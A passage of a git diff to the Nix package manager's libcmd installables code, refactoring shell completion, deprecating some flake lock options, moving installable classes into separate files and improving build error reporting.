UnresolvedApp toApp(EvalState & state); + + static InstallableValue & require(Installable & installable); + static ref require(ref installable); + +protected: + + /** + * Handles either a plain path, or a string with a single string + * context elem in the right format. The latter case is handled by + * `EvalState::coerceToDerivedPath()`; see it for details. + * + * @param v Value that is hopefully a string or path per the above. + * + * @param pos Position of value to aid with diagnostics. + * + * @param errorCtx Arbitrary message for use in potential error message when something is wrong with `v`. + * + * @result A derived path (with empty info, for now) if the value + * matched the above criteria. + */ + std::optional trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx); +}; + +} diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 5cdd3e12c..0fe956ec0 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -1,5 +1,10 @@ #include "globals.hh" #include "installables.hh" +#include "installable-derived-path.hh" +#include "installable-attr-path.hh" +#include "installable-flake.hh" +#include "outputs-spec.hh" +#include "users.hh" #include "util.hh" #include "command.hh" #include "attr-path.hh" @@ -7,6 +12,7 @@ #include "derivations.hh" #include "eval-inline.hh" #include "eval.hh" +#include "eval-settings.hh" #include "get-drvs.hh" #include "store-api.hh" #include "shared.hh" @@ -21,17 +27,42 @@ #include +#include "strings-inline.hh" + namespace nix { +void completeFlakeInputPath( + AddCompletions & completions, + ref evalState, + const std::vector & flakeRefs, + std::string_view prefix) +{ + for (auto & flakeRef : flakeRefs) { + auto flake = flake::getFlake(*evalState, flakeRef, true); + for (auto & input : flake.inputs) + if (hasPrefix(input.first, prefix)) + completions.add(input.first); + } +} + MixFlakeOptions::MixFlakeOptions() { auto category = "Common flake-related options"; addFlag({ .longName = "recreate-lock-file", - .description = "Recreate the flake's lock file from scratch.", + .description = R"( + Recreate the flake's lock file from scratch. + + > **DEPRECATED** + > + > Use [`nix flake update`](@docroot@/command-ref/new-cli/nix3-flake-update.md) instead. + )", .category = category, - .handler = {&lockFlags.recreateLockFile, true} + .handler = {[&]() { + lockFlags.recreateLockFile = true; + warn("'--recreate-lock-file' is deprecated and will be removed in a future version; use 'nix flake update' instead."); + }} }); addFlag({ @@ -50,8 +81,13 @@ MixFlakeOptions::MixFlakeOptions() addFlag({ .longName = "no-registries", - .description = - "Don't allow lookups in the flake registries. This option is deprecated; use `--no-use-registries`.", + .description = R"( + Don't allow lookups in the flake registries. + + > **DEPRECATED** + > + > Use [`--no-use-registries`](#opt-no-use-registries) instead. + )", .category = category, .handler = {[&]() { lockFlags.useRegistries = false; @@ -68,14 +104,21 @@ MixFlakeOptions::MixFlakeOptions() addFlag({ .longName = "update-input", - .description = "Update a specific flake input (ignoring its previous entry in the lock file).", + .description = R"( + Update a specific flake input (ignoring its previous entry in the lock file). + + > **DEPRECATED** + > + > Use [`nix flake update`](@docroot@/command-ref/new-cli/nix3-flake-update.md) instead. + )", .category = category, .labels = {"input-path"}, .handler = {[&](std::string s) { + warn("'--update-input' is a deprecated alias for 'flake update' and will be removed in a future version."); lockFlags.inputUpdates.insert(flake::parseInputPath(s)); }}, - .completer = {[&](size_t, std::string_view prefix) { - needsFlakeInputCompletion = {std::string(prefix)}; + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix); }} }); @@ -88,16 +131,39 @@ MixFlakeOptions::MixFlakeOptions() lockFlags.writeLockFile = false; lockFlags.inputOverrides.insert_or_assign( flake::parseInputPath(inputPath), - parseFlakeRef(flakeRef, absPath("."), true)); + parseFlakeRef(fetchSettings, flakeRef, absPath(getCommandBaseDir()), true)); }}, - .completer = {[&](size_t n, std::string_view prefix) { - if (n == 0) - needsFlakeInputCompletion = {std::string(prefix)}; - else if (n == 1) - completeFlakeRef(getEvalState()->store, prefix); + .completer = {[&](AddCompletions & completions, size_t n, std::string_view prefix) { + if (n == 0) { + completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix); + } else if (n == 1) { + completeFlakeRef(completions, getEvalState()->store, prefix); + } }} }); + addFlag({ + .longName = "reference-lock-file", + .description = "Read the given lock file instead of `flake.lock` within the top-level flake.", + .category = category, + .labels = {"flake-lock-path"}, + .handler = {[&](std::string lockFilePath) { + lockFlags.referenceLockFilePath = {getFSSourceAccessor(), CanonPath(absPath(lockFilePath))}; + }}, + .completer = completePath + }); + + addFlag({ + .longName = "output-lock-file", + .description = "Write the given lock file instead of `flake.lock` within the top-level flake.", + .category = category, + .labels = {"flake-lock-path"}, + .handler = {[&](std::string lockFilePath) { + lockFlags.outputLockFilePath = lockFilePath; + }}, + .completer = completePath + }); + addFlag({ .longName = "inputs-from", .description = "Use the inputs of the specified flake as registry entries.", @@ -106,50 +172,33 @@ MixFlakeOptions::MixFlakeOptions() .handler = {[&](std::string flakeRef) { auto evalState = getEvalState(); auto flake = flake::lockFlake( + flakeSettings, *evalState, - parseFlakeRef(flakeRef, absPath(".")), + parseFlakeRef(fetchSettings, flakeRef, absPath(getCommandBaseDir())), { .writeLockFile = false }); for (auto & [inputName, input] : flake.lockFile.root->inputs) { auto input2 = flake.lockFile.findInput({inputName}); // resolve 'follows' nodes if (auto input3 = std::dynamic_pointer_cast(input2)) { overrideRegistry( - fetchers::Input::fromAttrs({{"type","indirect"}, {"id", inputName}}), + fetchers::Input::fromAttrs(fetchSettings, {{"type","indirect"}, {"id", inputName}}), input3->lockedRef.input, {}); } } }}, - .completer = {[&](size_t, std::string_view prefix) { - completeFlakeRef(getEvalState()->store, prefix); + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getEvalState()->store, prefix); }} }); } -void MixFlakeOptions::completeFlakeInput(std::string_view prefix) -{ - auto evalState = getEvalState(); - for (auto & flakeRefS : getFlakesForCompletion()) { - auto flakeRef = parseFlakeRefWithFragment(expandTilde(flakeRefS), absPath(".")).first; - auto flake = flake::getFlake(*evalState, flakeRef, true); - for (auto & input : flake.inputs) - if (hasPrefix(input.first, prefix)) - completions->add(input.first); - } -} - -void MixFlakeOptions::completionHook() -{ - if (auto & prefix = needsFlakeInputCompletion) - completeFlakeInput(*prefix); -} - -SourceExprCommand::SourceExprCommand(bool supportReadOnlyMode) +SourceExprCommand::SourceExprCommand() { addFlag({ .longName = "file", .shortName = 'f', .description = - "Interpret installables as attribute paths relative to the Nix expression stored in *file*. " + "Interpret [*installables*](@docroot@/command-ref/new-cli/nix.md#installables) as attribute paths relative to the Nix expression stored in *file*. " "If *file* is the character -, then a Nix expression will be read from standard input. " "Implies `--impure`.", .category = installablesCategory, @@ -160,29 +209,23 @@ SourceExprCommand::SourceExprCommand(bool supportReadOnlyMode) addFlag({ .longName = "expr", - .description = "Interpret installables as attribute paths relative to the Nix expression *expr*.", + .description = "Interpret [*installables*](@docroot@/command-ref/new-cli/nix.md#installables) as attribute paths relative to the Nix expression *expr*.", .category = installablesCategory, .labels = {"expr"}, .handler = {&expr} }); +} +MixReadOnlyOption::MixReadOnlyOption() +{ addFlag({ - .longName = "derivation", - .description = "Operate on the store derivation rather than its outputs.", - .category = installablesCategory, - .handler = {&operateOn, OperateOn::Derivation}, + .longName = "read-only", + .description = + "Do not instantiate each evaluated derivation. " + "This improves performance, but can cause errors when accessing " + "store paths of derivations during evaluation.", + .handler = {&settings.readOnlyMode, true}, }); - - if (supportReadOnlyMode) { - addFlag({ - .longName = "read-only", - .description = - "Do not instantiate each evaluated derivation. " - "This improves performance, but can cause errors when accessing " - "store paths of derivations during evaluation.", - .handler = {&readOnlyMode, true}, - }); - } } Strings SourceExprCommand::getDefaultFlakeAttrPaths() @@ -205,17 +248,25 @@ Strings SourceExprCommand::getDefaultFlakeAttrPathPrefixes() }; } -void SourceExprCommand::completeInstallable(std::string_view prefix) +Args::CompleterClosure SourceExprCommand::getCompleteInstallable() +{ + return [this](AddCompletions & completions, size_t, std::string_view prefix) { + completeInstallable(completions, prefix); + }; +} + +void SourceExprCommand::completeInstallable(AddCompletions & completions, std::string_view prefix) { try { if (file) { - completionType = ctAttrs; + completions.setType(AddCompletions::Type::Attrs); evalSettings.pureEval = false; auto state = getEvalState(); - Expr *e = state->parseExprFromFile( - resolveExprPath(state->checkSourcePath(lookupFileArg(*state, *file))) - ); + auto e = + state->parseExprFromFile( + resolveExprPath( + lookupFileArg(*state, *file))); Value root; state->eval(e, root); @@ -240,18 +291,19 @@ void SourceExprCommand::completeInstallable(std::string_view prefix) state->autoCallFunction(*autoArgs, v1, v2); if (v2.type() == nAttrs) { - for (auto & i : *v2.attrs) { - std::string name = state->symbols[i.name]; + for (auto & i : *v2.attrs()) { + std::string_view name = state->symbols[i.name]; if (name.find(searchWord) == 0) { if (prefix_ == "") - completions->add(name); + completions.add(std::string(name)); else - completions->add(prefix_ + "." + name); + completions.add(prefix_ + "." + name); } } } } else { completeFlakeRefWithFragment( + completions, getEvalState(), lockFlags, getDefaultFlakeAttrPathPrefixes(), @@ -264,6 +316,7 @@ void SourceExprCommand::completeInstallable(std::string_view prefix) } void completeFlakeRefWithFragment( + AddCompletions & completions, ref evalState, flake::LockFlags lockFlags, Strings attrPathPrefixes, @@ -275,19 +328,30 @@ void completeFlakeRefWithFragment( try { auto hash = prefix.find('#'); if (hash == std::string::npos) { - completeFlakeRef(evalState->store, prefix); + completeFlakeRef(completions, evalState->store, prefix); } else { - completionType = ctAttrs; + completions.setType(AddCompletions::Type::Attrs); auto fragment = prefix.substr(hash + 1); + std::string prefixRoot = ""; + if (fragment.starts_with(".")){ + fragment = fragment.substr(1); + prefixRoot = "."; + } auto flakeRefS = std::string(prefix.substr(0, hash)); - auto flakeRef = parseFlakeRef(expandTilde(flakeRefS), absPath(".")); + + // TODO: ideally this would use the command base directory instead of assuming ".". + auto flakeRef = parseFlakeRef(fetchSettings, expandTilde(flakeRefS), absPath(".")); auto evalCache = openEvalCache(*evalState, - std::make_shared(lockFlake(*evalState, flakeRef, lockFlags))); + std::make_shared(lockFlake( + flakeSettings, *evalState, flakeRef, lockFlags))); auto root = evalCache->getRoot(); + if (prefixRoot == "."){ + attrPathPrefixes.clear(); + } /* Complete 'fragment' relative to all the attrpath prefixes as well as the root of the flake. */ @@ -312,7 +376,8 @@ void completeFlakeRefWithFragment( auto attrPath2 = (*attr)->getAttrPath(attr2); /* Strip the attrpath prefix. */ attrPath2.erase(attrPath2.begin(), attrPath2.begin() + attrPathPrefix.size()); - completions->add(flakeRefS + "#" + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); + // FIXME: handle names with dots + completions.add(flakeRefS + "#" + prefixRoot + concatStringsSep(".", evalState->symbols.resolve(attrPath2))); } } } @@ -323,7 +388,7 @@ void completeFlakeRefWithFragment( for (auto & attrPath : defaultFlakeAttrPaths) { auto attr = root->findAlongAttrPath(parseAttrPath(*evalState, attrPath)); if (!attr) continue; - completions->add(flakeRefS + "#"); + completions.add(flakeRefS + "#" + prefixRoot); } } } @@ -332,33 +397,33 @@ void completeFlakeRefWithFragment( } } -void completeFlakeRef(ref store, std::string_view prefix) +void completeFlakeRef(AddCompletions & completions, ref store, std::string_view prefix) { - if (!settings.isExperimentalFeatureEnabled(Xp::Flakes)) + if (!experimentalFeatureSettings.isEnabled(Xp::Flakes)) return; if (prefix == "") - completions->add("."); + completions.add("."); - completeDir(0, prefix); + Args::completeDir(completions, 0, prefix); /* Look for registry entries that match the prefix. */ - for (auto & registry : fetchers::getRegistries(store)) { + for (auto & registry : fetchers::getRegistries(fetchSettings, store)) { for (auto & entry : registry->entries) { auto from = entry.from.to_string(); if (!hasPrefix(prefix, "flake:") && hasPrefix(from, "flake:")) { std::string from2(from, 6); if (hasPrefix(from2, prefix)) - completions->add(from2); + completions.add(from2); } else { if (hasPrefix(from, prefix)) - completions->add(from); + completions.add(from); } } } } -DerivedPath Installable::toDerivedPath() +DerivedPathWithInfo Installable::toDerivedPath() { auto buildables = toDerivedPaths(); if (buildables.size() != 1) @@ -366,24 +431,6 @@ DerivedPath Installable::toDerivedPath() return std::move(buildables[0]); } -std::vector> -Installable::getCursors(EvalState & state) -{ - auto evalCache = - std::make_shared(std::nullopt, state, - [&]() { return toValue(state).first; }); - return {evalCache->getRoot()}; -} - -ref -Installable::getCursor(EvalState & state) -{ - auto cursors = getCursors(state); - if (cursors.empty()) - throw Error("cannot find flake attribute '%s'", what()); - return cursors[0]; -} - static StorePath getDeriver( ref store, const Installable & i, @@ -396,192 +443,14 @@ static StorePath getDeriver( return *derivers.begin(); } -struct InstallableStorePath : Installable -{ - ref store; - DerivedPath req; - - InstallableStorePath(ref store, StorePath && storePath) - : store(store), - req(storePath.isDerivation() - ? (DerivedPath) DerivedPath::Built { - .drvPath = std::move(storePath), - .outputs = {}, - } - : (DerivedPath) DerivedPath::Opaque { - .path = std::move(storePath), - }) - { } - - InstallableStorePath(ref store, DerivedPath && req) - : store(store), req(std::move(req)) - { } - - std::string what() const override - { - return req.to_string(*store); - } - - DerivedPaths toDerivedPaths() override - { - return { req }; - } - - StorePathSet toDrvPaths(ref store) override - { - return std::visit(overloaded { - [&](const DerivedPath::Built & bfd) -> StorePathSet { - return { bfd.drvPath }; - }, - [&](const DerivedPath::Opaque & bo) -> StorePathSet { - return { getDeriver(store, *this, bo.path) }; - }, - }, req.raw()); - } - - std::optional getStorePath() override - { - return std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - return bfd.drvPath; - }, - [&](const DerivedPath::Opaque & bo) { - return bo.path; - }, - }, req.raw()); - } -}; - -DerivedPaths InstallableValue::toDerivedPaths() -{ - DerivedPaths res; - - std::map> drvsToOutputs; - RealisedPath::Set drvsToCopy; - - // Group by derivation, helps with .all in particular - for (auto & drv : toDerivations()) { - for (auto & outputName : drv.outputsToInstall) - drvsToOutputs[drv.drvPath].insert(outputName); - drvsToCopy.insert(drv.drvPath); - } - - for (auto & i : drvsToOutputs) - res.push_back(DerivedPath::Built { i.first, i.second }); - - return res; -} - -StorePathSet InstallableValue::toDrvPaths(ref store) -{ - StorePathSet res; - for (auto & drv : toDerivations()) - res.insert(drv.drvPath); - return res; -} - -struct InstallableAttrPath : InstallableValue -{ - SourceExprCommand & cmd; - RootValue v; - std::string attrPath; - OutputsSpec outputsSpec; - - InstallableAttrPath( - ref state, - SourceExprCommand & cmd, - Value * v, - const std::string & attrPath, - OutputsSpec outputsSpec) - : InstallableValue(state) - , cmd(cmd) - , v(allocRootValue(v)) - , attrPath(attrPath) - , outputsSpec(std::move(outputsSpec)) - { } - - std::string what() const override { return attrPath; } - - std::pair toValue(EvalState & state) override - { - auto [vRes, pos] = findAlongAttrPath(state, attrPath, *cmd.getAutoArgs(state), **v); - state.forceValue(*vRes, pos); - return {vRes, pos}; - } - - virtual std::vector toDerivations() override; -}; - -std::vector InstallableAttrPath::toDerivations() -{ - auto v = toValue(*state).first; - - Bindings & autoArgs = *cmd.getAutoArgs(*state); - - DrvInfos drvInfos; - getDerivations(*state, *v, "", autoArgs, drvInfos, false); - - std::vector res; - for (auto & drvInfo : drvInfos) { - auto drvPath = drvInfo.queryDrvPath(); - if (!drvPath) - throw Error("'%s' is not a derivation", what()); - - std::set outputsToInstall; - - if (auto outputNames = std::get_if(&outputsSpec)) - outputsToInstall = *outputNames; - else - for (auto & output : drvInfo.queryOutputs(false, std::get_if(&outputsSpec))) - outputsToInstall.insert(output.first); - - res.push_back(DerivationInfo { - .drvPath = *drvPath, - .outputsToInstall = std::move(outputsToInstall) - }); - } - - return res; -} - -std::vector InstallableFlake::getActualAttrPaths() -{ - std::vector res; - - for (auto & prefix : prefixes) - res.push_back(prefix + *attrPaths.begin()); - - for (auto & s : attrPaths) - res.push_back(s); - - return res; -} - -Value * InstallableFlake::getFlakeOutputs(EvalState & state, const flake::LockedFlake & lockedFlake) -{ - auto vFlake = state.allocValue(); - - callFlake(state, lockedFlake, *vFlake); - - auto aOutputs = vFlake->attrs->get(state.symbols.create("outputs")); - assert(aOutputs); - - state.forceValue(*aOutputs->value, [&]() { return aOutputs->value->determinePos(noPos); }); - - return aOutputs->value; -} - ref openEvalCache( EvalState & state, std::shared_ptr lockedFlake) { - auto fingerprint = lockedFlake->getFingerprint(); - return make_ref( - evalSettings.useEvalCache && evalSettings.pureEval - ? std::optional { std::cref(fingerprint) } - : std::nullopt, - state, - [&state, lockedFlake]() + auto fingerprint = evalSettings.useEvalCache && evalSettings.pureEval + ? lockedFlake->getFingerprint(state.store) + : std::nullopt; + auto rootLoader = [&state, lockedFlake]() { /* For testing whether the evaluation cache is complete. */ @@ -591,194 +460,29 @@ ref openEvalCache( auto vFlake = state.allocValue(); flake::callFlake(state, *lockedFlake, *vFlake); - state.forceAttrs(*vFlake, noPos); + state.forceAttrs(*vFlake, noPos, "while parsing cached flake data"); - auto aOutputs = vFlake->attrs->get(state.symbols.create("outputs")); + auto aOutputs = vFlake->attrs()->get(state.symbols.create("outputs")); assert(aOutputs); return aOutputs->value; - }); -} + }; -static std::string showAttrPaths(const std::vector & paths) -{ - std::string s; - for (const auto & [n, i] : enumerate(paths)) { - if (n > 0) s += n + 1 == paths.size() ? " or " : ", "; - s += '\''; s += i; s += '\''; - } - return s; -} - -InstallableFlake::InstallableFlake( - SourceExprCommand * cmd, - ref state, - FlakeRef && flakeRef, - std::string_view fragment, - OutputsSpec outputsSpec, - Strings attrPaths, - Strings prefixes, - const flake::LockFlags & lockFlags) - : InstallableValue(state), - flakeRef(flakeRef), - attrPaths(fragment == "" ? attrPaths : Strings{(std::string) fragment}), - prefixes(fragment == "" ? Strings{} : prefixes), - outputsSpec(std::move(outputsSpec)), - lockFlags(lockFlags) -{ - if (cmd && cmd->getAutoArgs(*state)->size()) - throw UsageError("'--arg' and '--argstr' are incompatible with flakes"); -} - -std::tuple InstallableFlake::toDerivation() -{ - Activity act(*logger, lvlTalkative, actUnknown, fmt("evaluating derivation '%s'", what())); - - auto attr = getCursor(*state); - - auto attrPath = attr->getAttrPathStr(); - - if (!attr->isDerivation()) - throw Error("flake output attribute '%s' is not a derivation", attrPath); - - auto drvPath = attr->forceDerivation(); - - std::set outputsToInstall; - std::optional priority; - - if (auto aOutputSpecified = attr->maybeGetAttr(state->sOutputSpecified)) { - if (aOutputSpecified->getBool()) { - if (auto aOutputName = attr->maybeGetAttr("outputName")) - outputsToInstall = { aOutputName->getString() }; + if (fingerprint) { + auto search = state.evalCaches.find(fingerprint.value()); + if (search == state.evalCaches.end()) { + search = state.evalCaches.emplace(fingerprint.value(), make_ref(fingerprint, state, rootLoader)).first; } + return search->second; + } else { + return make_ref(std::nullopt, state, rootLoader); } - - else if (auto aMeta = attr->maybeGetAttr(state->sMeta)) { - if (auto aOutputsToInstall = aMeta->maybeGetAttr("outputsToInstall")) - for (auto & s : aOutputsToInstall->getListOfStrings()) - outputsToInstall.insert(s); - if (auto aPriority = aMeta->maybeGetAttr("priority")) - priority = aPriority->getInt(); - } - - if (outputsToInstall.empty() || std::get_if(&outputsSpec)) { - outputsToInstall.clear(); - if (auto aOutputs = attr->maybeGetAttr(state->sOutputs)) - for (auto & s : aOutputs->getListOfStrings()) - outputsToInstall.insert(s); - } - - if (outputsToInstall.empty()) - outputsToInstall.insert("out"); - - if (auto outputNames = std::get_if(&outputsSpec)) - outputsToInstall = *outputNames; - - auto drvInfo = DerivationInfo { - .drvPath = std::move(drvPath), - .outputsToInstall = std::move(outputsToInstall), - .priority = priority, - }; - - return {attrPath, getLockedFlake()->flake.lockedRef, std::move(drvInfo)}; } -std::vector InstallableFlake::toDerivations() -{ - std::vector res; - res.push_back(std::get<2>(toDerivation())); - return res; -} - -std::pair InstallableFlake::toValue(EvalState & state) -{ - return {&getCursor(state)->forceValue(), noPos}; -} - -std::vector> -InstallableFlake::getCursors(EvalState & state) -{ - auto evalCache = openEvalCache(state, - std::make_shared(lockFlake(state, flakeRef, lockFlags))); - - auto root = evalCache->getRoot(); - - std::vector> res; - - for (auto & attrPath : getActualAttrPaths()) { - auto attr = root->findAlongAttrPath(parseAttrPath(state, attrPath)); - if (attr) res.push_back(ref(*attr)); - } - - return res; -} - -ref InstallableFlake::getCursor(EvalState & state) -{ - auto lockedFlake = getLockedFlake(); - - auto cache = openEvalCache(state, lockedFlake); - auto root = cache->getRoot(); - - Suggestions suggestions; - - auto attrPaths = getActualAttrPaths(); - - for (auto & attrPath : attrPaths) { - debug("trying flake output attribute '%s'", attrPath); - - auto attrOrSuggestions = root->findAlongAttrPath( - parseAttrPath(state, attrPath), - true - ); - - if (!attrOrSuggestions) { - suggestions += attrOrSuggestions.getSuggestions(); - continue; - } - - return *attrOrSuggestions; - } - - throw Error( - suggestions, - "flake '%s' does not provide attribute %s", - flakeRef, - showAttrPaths(attrPaths)); -} - -std::shared_ptr InstallableFlake::getLockedFlake() const -{ - if (!_lockedFlake) { - flake::LockFlags lockFlagsApplyConfig = lockFlags; - lockFlagsApplyConfig.applyNixConfig = true; - _lockedFlake = std::make_shared(lockFlake(*state, flakeRef, lockFlagsApplyConfig)); - } - return _lockedFlake; -} - -FlakeRef InstallableFlake::nixpkgsFlakeRef() const -{ - auto lockedFlake = getLockedFlake(); - - if (auto nixpkgsInput = lockedFlake->lockFile.findInput({"nixpkgs"})) { - if (auto lockedNode = std::dynamic_pointer_cast(nixpkgsInput)) { - debug("using nixpkgs flake '%s'", lockedNode->lockedRef); - return std::move(lockedNode->lockedRef); - } - } - - return Installable::nixpkgsFlakeRef(); -} - -std::vector> SourceExprCommand::parseInstallables( +Installables SourceExprCommand::parseInstallables( ref store, std::vector ss) { - std::vector> result; - - if (readOnlyMode) { - settings.readOnlyMode = true; - } + Installables result; if (file || expr) { if (file && expr) @@ -794,20 +498,22 @@ std::vector> SourceExprCommand::parseInstallables( auto e = state->parseStdin(); state->eval(e, *vFile); } - else if (file) - state->evalFile(lookupFileArg(*state, *file), *vFile); + else if (file) { + auto dir = absPath(getCommandBaseDir()); + state->evalFile(lookupFileArg(*state, *file, &dir), *vFile); + } else { - auto e = state->parseExprFromString(*expr, absPath(".")); + Path dir = absPath(getCommandBaseDir()); + auto e = state->parseExprFromString(*expr, state->rootPath(dir)); state->eval(e, *vFile); } for (auto & s : ss) { - auto [prefix, outputsSpec] = parseOutputsSpec(s); + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(s); result.push_back( - std::make_shared( - state, *this, vFile, - prefix == "." ? "" : prefix, - outputsSpec)); + make_ref( + InstallableAttrPath::parse( + state, *this, vFile, std::move(prefix), std::move(extendedOutputsSpec)))); } } else { @@ -815,24 +521,15 @@ std::vector> SourceExprCommand::parseInstallables( for (auto & s : ss) { std::exception_ptr ex; - auto found = s.rfind('^'); - if (found != std::string::npos) { - try { - result.push_back(std::make_shared( - store, - DerivedPath::Built::parse(*store, s.substr(0, found), s.substr(found + 1)))); - continue; - } catch (BadStorePath &) { - } catch (...) { - if (!ex) - ex = std::current_exception(); - } - } + auto [prefix_, extendedOutputsSpec_] = ExtendedOutputsSpec::parse(s); + // To avoid clang's pedantry + auto prefix = std::move(prefix_); + auto extendedOutputsSpec = std::move(extendedOutputsSpec_); - found = s.find('/'); - if (found != std::string::npos) { + if (prefix.find('/') != std::string::npos) { try { - result.push_back(std::make_shared(store, store->followLinksToStorePath(s))); + result.push_back(make_ref( + InstallableDerivedPath::parse(store, prefix, extendedOutputsSpec.raw))); continue; } catch (BadStorePath &) { } catch (...) { @@ -842,13 +539,14 @@ std::vector> SourceExprCommand::parseInstallables( } try { - auto [flakeRef, fragment, outputsSpec] = parseFlakeRefWithFragmentAndOutputsSpec(s, absPath(".")); - result.push_back(std::make_shared( + auto [flakeRef, fragment] = parseFlakeRefWithFragment( + fetchSettings, std::string { prefix }, absPath(getCommandBaseDir())); + result.push_back(make_ref( this, getEvalState(), std::move(flakeRef), fragment, - outputsSpec, + std::move(extendedOutputsSpec), getDefaultFlakeAttrPaths(), getDefaultFlakeAttrPathPrefixes(), lockFlags)); @@ -864,7 +562,7 @@ std::vector> SourceExprCommand::parseInstallables( return result; } -std::shared_ptr SourceExprCommand::parseInstallable( +ref SourceExprCommand::parseInstallable( ref store, const std::string & installable) { auto installables = parseInstallables(store, {installable}); @@ -872,11 +570,35 @@ std::shared_ptr SourceExprCommand::parseInstallable( return installables.front(); } +static SingleBuiltPath getBuiltPath(ref evalStore, ref store, const SingleDerivedPath & b) +{ + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & bo) -> SingleBuiltPath { + return SingleBuiltPath::Opaque { bo.path }; + }, + [&](const SingleDerivedPath::Built & bfd) -> SingleBuiltPath { + auto drvPath = getBuiltPath(evalStore, store, *bfd.drvPath); + // Resolving this instead of `bfd` will yield the same result, but avoid duplicative work. + SingleDerivedPath::Built truncatedBfd { + .drvPath = makeConstantStorePathRef(drvPath.outPath()), + .output = bfd.output, + }; + auto outputPath = resolveDerivedPath(*store, truncatedBfd, &*evalStore); + return SingleBuiltPath::Built { + .drvPath = make_ref(std::move(drvPath)), + .output = { bfd.output, outputPath }, + }; + }, + }, + b.raw()); +} + std::vector Installable::build( ref evalStore, ref store, Realise mode, - const std::vector> & installables, + const Installables & installables, BuildMode bMode) { std::vector res; @@ -885,27 +607,64 @@ std::vector Installable::build( return res; } -std::vector, BuiltPathWithResult>> Installable::build2( +static void throwBuildErrors( + std::vector & buildResults, + const Store & store) +{ + std::vector failed; + for (auto & buildResult : buildResults) { + if (!buildResult.success()) { + failed.push_back(buildResult); + } + } + + auto failedResult = failed.begin(); + if (failedResult != failed.end()) { + if (failed.size() == 1) { + failedResult->rethrow(); + } else { + StringSet failedPaths; + for (; failedResult != failed.end(); failedResult++) { + if (!failedResult->errorMsg.empty()) { + logError(ErrorInfo{ + .level = lvlError, + .msg = failedResult->errorMsg, + }); + } + failedPaths.insert(failedResult->path.to_string(store)); + } + throw Error("build of %s failed", concatStringsSep(", ", quoteStrings(failedPaths))); + } + } +} + +std::vector, BuiltPathWithResult>> Installable::build2( ref evalStore, ref store, Realise mode, - const std::vector> & installables, + const Installables & installables, BuildMode bMode) { if (mode == Realise::Nothing) settings.readOnlyMode = true; + struct Aux + { + ref info; + ref installable; + }; + std::vector pathsToBuild; - std::map>> backmap; + std::map> backmap; for (auto & i : installables) { for (auto b : i->toDerivedPaths()) { - pathsToBuild.push_back(b); - backmap[b].push_back(i); + pathsToBuild.push_back(b.path); + backmap[b.path].push_back({.info = b.info, .installable = i}); } } - std::vector, BuiltPathWithResult>> res; + std::vector, BuiltPathWithResult>> res; switch (mode) { @@ -914,42 +673,21 @@ std::vector, BuiltPathWithResult>> Instal printMissing(store, pathsToBuild, lvlError); for (auto & path : pathsToBuild) { - for (auto & installable : backmap[path]) { + for (auto & aux : backmap[path]) { std::visit(overloaded { [&](const DerivedPath::Built & bfd) { - OutputPathMap outputs; - auto drv = evalStore->readDerivation(bfd.drvPath); - auto outputHashes = staticOutputHashes(*evalStore, drv); // FIXME: expensive - auto drvOutputs = drv.outputsAndOptPaths(*store); - for (auto & output : bfd.outputs) { - auto outputHash = get(outputHashes, output); - if (!outputHash) - throw Error( - "the derivation '%s' doesn't have an output named '%s'", - store->printStorePath(bfd.drvPath), output); - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) { - DrvOutput outputId { *outputHash, output }; - auto realisation = store->queryRealisation(outputId); - if (!realisation) - throw Error( - "cannot operate on an output of the " - "unbuilt derivation '%s'", - outputId.to_string()); - outputs.insert_or_assign(output, realisation->outPath); - } else { - // If ca-derivations isn't enabled, assume that - // the output path is statically known. - auto drvOutput = get(drvOutputs, output); - assert(drvOutput); - assert(drvOutput->second); - outputs.insert_or_assign( - output, *drvOutput->second); - } - } - res.push_back({installable, {.path = BuiltPath::Built { bfd.drvPath, outputs }}}); + auto outputs = resolveDerivedPath(*store, bfd, &*evalStore); + res.push_back({aux.installable, { + .path = BuiltPath::Built { + .drvPath = make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), + .outputs = outputs, + }, + .info = aux.info}}); }, [&](const DerivedPath::Opaque & bo) { - res.push_back({installable, {.path = BuiltPath::Opaque { bo.path }}}); + res.push_back({aux.installable, { + .path = BuiltPath::Opaque { bo.path }, + .info = aux.info}}); }, }, path.raw()); } @@ -961,20 +699,28 @@ std::vector, BuiltPathWithResult>> Instal if (settings.printMissing) printMissing(store, pathsToBuild, lvlInfo); - for (auto & buildResult : store->buildPathsWithResults(pathsToBuild, bMode, evalStore)) { - if (!buildResult.success()) - buildResult.rethrow(); - - for (auto & installable : backmap[buildResult.path]) { + auto buildResults = store->buildPathsWithResults(pathsToBuild, bMode, evalStore); + throwBuildErrors(buildResults, *store); + for (auto & buildResult : buildResults) { + for (auto & aux : backmap[buildResult.path]) { std::visit(overloaded { [&](const DerivedPath::Built & bfd) { std::map outputs; - for (auto & path : buildResult.builtOutputs) - outputs.emplace(path.first.outputName, path.second.outPath); - res.push_back({installable, {.path = BuiltPath::Built { bfd.drvPath, outputs }, .result = buildResult}}); + for (auto & [outputName, realisation] : buildResult.builtOutputs) + outputs.emplace(outputName, realisation.outPath); + res.push_back({aux.installable, { + .path = BuiltPath::Built { + .drvPath = make_ref(getBuiltPath(evalStore, store, *bfd.drvPath)), + .outputs = outputs, + }, + .info = aux.info, + .result = buildResult}}); }, [&](const DerivedPath::Opaque & bo) { - res.push_back({installable, {.path = BuiltPath::Opaque { bo.path }, .result = buildResult}}); + res.push_back({aux.installable, { + .path = BuiltPath::Opaque { bo.path }, + .info = aux.info, + .result = buildResult}}); }, }, buildResult.path.raw()); } @@ -995,7 +741,7 @@ BuiltPaths Installable::toBuiltPaths( ref store, Realise mode, OperateOn operateOn, - const std::vector> & installables) + const Installables & installables) { if (operateOn == OperateOn::Output) { BuiltPaths res; @@ -1008,16 +754,16 @@ BuiltPaths Installable::toBuiltPaths( BuiltPaths res; for (auto & drvPath : 